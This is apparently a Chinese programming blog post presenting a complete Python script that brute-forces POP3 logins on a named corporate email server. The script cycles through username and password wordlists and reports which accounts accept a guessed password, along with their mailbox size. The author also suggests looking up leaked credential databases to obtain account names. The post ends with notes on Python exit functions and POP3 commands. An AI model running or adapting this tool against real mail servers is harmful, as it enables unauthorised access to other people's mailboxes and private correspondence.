python制作企业邮箱的爆破脚本


Posted in Python onOctober 05, 2016

按照师傅给的任务,写了一个企业邮箱的爆破脚本,后续还有FTP,SSH等一些爆破的脚本。

我先说下整体思路:

总体就是利用python的poplib模块来从pop3服务器上交互,根据获取的相关信息,产生结果。POP3协议并不复杂,它也是采用的一问一答式的方式,你向服务器发送一个命令,服务器必然会回复一个信息.

1.首先验证参数是否正确

    Sys.argv[]是用来获取命令行参数的,sys.argv[0]表示代码本身文件路径,所以参数从1开始

2.然后从用户密码文件中读取信息
3.pop.getwelcome()用来获取连接服务器的响应状态
4.然后就是脚本的核心代码部分

server = "pop.qiye.163.com" //设置pop3服务器地址
pop = poplib.POP3(server,110) //连接pop3服务器
pop.user(user) //验证用户名
auth = pop.pass_(passwd) //验证密码
if auth.split(' ')[0]== "+OK": //判断响应的结果是否“OK”
 pring user,passwd

5.最后输出出来相关的用户信息

脚本代码如下:

#!/usr/bin/python
# -*- coding: UTF-8 -*-
'''
@Author:joy_nick
@博客:http://byd.dropsec.xyz/
@Email Pop3 Brute Forcer
'''

import threading, time, random, sys, poplib
from copy import copy

if len(sys.argv) !=3:
 print "\t --------------------------------------------------\n"
 print "\t Usage: ./Emailpopbrute.py <userlist> <passlist>\n"
 sys.exit(1)

server = "pop.qiye.163.com"
success = []

try:
 users = open(sys.argv[1], "r").readlines()
except(IOError):
 print "[-] Error: urerlist打开失败!\n"
 sys.exit(1)

try:
 words = open(sys.argv[2], "r").readlines()
except(IOError):
 print "[-] Error: passlist打开失败!\n"
 sys.exit(1)
try:
 pop = poplib.POP3(server,110)
 welcome = pop.getwelcome()
 print welcome
 pop.quit()
except (poplib.error_proto):
 welcome = "No Response"
 pass

def mailbruteforce(listuser,listpwd):
 if len(listuser) < 1 or len(listpwd) < 1 :
 print "An error occurred: No user or pass list"
 return 1
 for user in listuser:
 for value in listpwd :
 user = user.replace("\n","")
 value = value.replace("\n","")
 try:
 print "-"*12
 print "[+] User:",user,"Password:",value
 time.sleep(1)
 pop = poplib.POP3(server,110)
 pop.user(user)
 auth = pop.pass_(value)
 print auth
 if auth.split(' ')[0]!= "+OK" :
 pop.quit()
 print "unknown error !"
 continue
 if pop.stat()[1] is None or pop.stat()[1] < 1 :
 pop.quit()
 print "获取信息失败!"
 continue
 ret = (user,value,pop.stat()[0],pop.stat()[1])
 success.append(ret)
 pop.quit()
 break
 except:
 #print "An error occurred:", msg
 pass
print "\t --------------------------------------------------\n"
print "[+] Server:",server
print "[+] Port: 995"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+] Server response:",welcome,"\n"
mailbruteforce(users,words)

print "\t[+] have weakpass :\t",len(success)
if len(success) >=1:
 for ret in success:
 print "\n\n[+] Login successful:",ret[0], ret[1]
 print "\t[+] Mail:",ret[2],"emails"
 print "\t[+] Size:",ret[3],"bytes\n"
print "\n[-] Done"

测试结果:

python制作企业邮箱的爆破脚本

说明:

用户字典文件需要@domain.com,类似zhangsan@domain.com、lisi@domain.com、wangwu@domain.com这样的。由于我也没有企业邮箱的账号密码,也就没测试成功的,要是感兴趣,可以搜一下相关社工裤。

附:

python 中 os._exit(), sys.exit(), exit() 的区别是什么?

  1. sys.exit(n) 退出程序引发一个SystemExit异常, 可以捕获异常执行些清理工作. n默认值为0, 表示正常退出. 其他都是非正常退出. 没有捕获这个异常,会直接退出;捕获这个异常可以做一些额外的清理工作。 一般主程序中使用此退出
  2. os._exit(n), 直接退出 Python 解释器,其后的代码都不执行, 不抛异常, 不执行相关清理工作. 常用在子进程的退出.
  3. exit() 跟 C 语言等其他语言的 exit() 应该是一样的

pop3收取邮件的过程一般是:

  • 连接pop3服务器 (poplib.POP3.__init__)
  • 发送用户名和密码进行验证 (poplib.POP3.user poplib.POP3.pass_)
  • 获取邮箱中信件信息 (poplib.POP3.stat)
  • 收取邮件 (poplib.POP3.retr)
  • 删除邮件 (poplib.POP3.dele)
  • 退出 (poplib.POP3.quit)

命令 poplib方法 参数 状态 描述
-----------------------------------------------------------------------------------------------
USER user username 认可 用户名,此命令与下面的pass命令若成功,将导致状态转换
PASS pass_ password 认可 用户密码
APOP apop Name,Digest 认可 Digest是MD5消息摘要
-----------------------------------------------------------------------------------------------
STAT stat None 处理 请求服务器发回关于邮箱的统计资料,如邮件总数和总字节数
UIDL uidl [Msg#] 处理 返回邮件的唯一标识符,POP3会话的每个标识符都将是唯一的
LIST list [Msg#] 处理 返回邮件数量和每个邮件的大小
RETR retr [Msg#] 处理 返回由参数标识的邮件的全部文本
DELE dele [Msg#] 处理 服务器将由参数标识的邮件标记为删除,由quit命令执行
RSET rset None 处理 服务器将重置所有标记为删除的邮件,用于撤消DELE命令
TOP top [Msg#] 处理 服务器将返回由参数标识的邮件前n行内容,n必须是正整数
NOOP noop None 处理 服务器返回一个肯定的响应

Python 相关文章推荐
python插入数据到列表的方法
Apr 30 Python
在Python中使用sort()方法进行排序的简单教程
May 21 Python
Python3实现简单可学习的手写体识别(实例讲解)
Oct 21 Python
Python OpenCV实现图片上输出中文
Jan 22 Python
使用Python的Django和layim实现即时通讯的方法
May 25 Python
修改默认的pip版本为对应python2.7的方法
Nov 06 Python
Python制作exe文件简单流程
Jan 24 Python
dpn网络的pytorch实现方式
Jan 14 Python
Python tkinter布局与按钮间距设置方式
Mar 04 Python
Python3标准库之threading进程中管理并发操作方法
Mar 30 Python
opencv python 图片读取与显示图片窗口未响应问题的解决
Apr 24 Python
Python QT组件库qtwidgets的使用
Nov 02 Python
python爬取NUS-WIDE数据库图片
Oct 05 #Python
python2.7的编码问题与解决方法
Oct 04 #Python
Python Sqlite3以字典形式返回查询结果的实现方法
Oct 03 #Python
Python实现屏幕截图的代码及函数详解
Oct 01 #Python
Python爬取APP下载链接的实现方法
Sep 30 #Python
Python脚本实现12306火车票查询系统
Sep 30 #Python
Python ldap实现登录实例代码
Sep 30 #Python
You might like
PHP调用三种数据库的方法(1)
2006/10/09 PHP
php cookie使用方法学习笔记分享
2013/11/07 PHP
ThinkPHP视图查询详解
2014/06/30 PHP
用 Composer构建自己的 PHP 框架之构建路由
2014/10/30 PHP
检测codeigniter脚本消耗内存情况的方法
2015/03/21 PHP
php实现搜索类封装示例
2016/03/31 PHP
js 提交和设置表单的值
2008/12/19 Javascript
JavaScript OOP面向对象介绍
2010/12/02 Javascript
DWR实现模拟Google搜索效果实现原理及代码
2013/01/30 Javascript
浅析webapp框架AngularUI的demo
2014/12/21 Javascript
浅析javascript中的DOM
2015/03/01 Javascript
DOM事件阶段以及事件捕获与事件冒泡先后执行顺序(图文详解)
2015/08/18 Javascript
jQuery prototype冲突的2种解决方法(附demo示例下载)
2016/01/21 Javascript
浅谈Vue网络请求之interceptors实际应用
2018/02/28 Javascript
JavaScript实现的级联算法示例【省市二级联动功能】
2018/12/25 Javascript
以windows service方式运行Python程序的方法
2015/06/03 Python
Python脚本获取操作系统版本信息
2016/12/17 Python
python使用threading获取线程函数返回值的实现方法
2017/11/15 Python
使用python存储网页上的图片实例
2018/05/22 Python
python 实现目录复制的三种小结
2019/12/04 Python
python获取引用对象的个数方式
2019/12/20 Python
pytorch实现从本地加载 .pth 格式模型
2020/02/14 Python
Python基于paramunittest模块实现excl参数化
2020/04/26 Python
Python学习工具jupyter notebook安装及用法解析
2020/10/23 Python
python3.8.3安装教程及环境配置的详细教程(64-bit)
2020/11/28 Python
python xlsxwriter模块的使用
2020/12/24 Python
用pip给python安装matplotlib库的详细教程
2021/02/24 Python
怎样让char类型的东西转换成int类型
2013/12/09 面试题
LINUX下线程,GDI类的解释
2016/12/14 面试题
制定岗位职责的原则
2013/11/08 职场文书
小学生期末自我鉴定
2014/01/19 职场文书
药剂专业自荐信范文
2014/04/16 职场文书
检讨书范文2000字
2015/01/28 职场文书
基于tensorflow权重文件的解读
2021/05/26 Python
Python包argparse模块常用方法
2021/06/04 Python
python机器学习创建基于规则聊天机器人过程示例详解
2021/11/02 Python